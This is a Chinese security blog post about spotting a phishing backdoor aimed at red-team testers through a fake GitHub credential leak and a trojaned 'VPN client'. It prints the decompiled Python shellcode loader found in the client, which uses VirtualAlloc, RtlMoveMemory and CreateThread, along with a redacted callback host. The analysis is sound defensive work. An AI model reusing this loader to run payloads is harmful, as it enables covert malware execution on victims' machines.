文章来源:先知社区(Kat)
原文地址:https://xz.aliyun.com/t/11275
0x00 前言
在某次攻防演练信息收集的过程中,偶然发现伪装Github信息泄漏进而钓鱼红队人员的后门。
下面展开有趣的分析溯源过程。
0x01 信息收集
根据甲方信息进行常规的Github敏感信息收集偶然发现一个仓库不简单
这不是mysql账号密码泄漏了吗,愉快的打开Navicat
失败....于是访问源码的8080端口查看一番,发现一个管理后台
针对后台尝试一波弱口令,admin/admin 嗯~进来了
进来之后竟然发现账号密码而且客户端解压密码都贴心的放了出来
到这里我竟然没有察觉到任何异常,以为能够拿到VPN入口权限;抓紧下载VPN客户端。
解压出来这个样子,emmm。。还没发现异常
0x02 分析溯源
还好有谨慎的习惯,放入虚拟机瞅瞅。
哦豁,竟然提示不兼容当前系统;看到弹窗有Pyhton代码编写的特征。感觉到前面的打点由过于丝滑,不自然的警觉了起来。
包括前面弱口令的提交方式竟然为admin.php?user=admin&passwd=admin
python3 pyinstxtractor.py vpnclient64.exe
import base64
import ctypes
str = b''
sc_base64 = (base64.a85decode(str)).decode('utf-8')
shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8')))
ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0),
ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
回连地址:Host: cs.xxx.cn,nslookup解析地址
0x03 总结
在攻防演练过程中一定要小心,防止被钓鱼。另外这个钓鱼的兄弟已经小本本记下了。。。
本文作者:潇湘信安
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/184266.html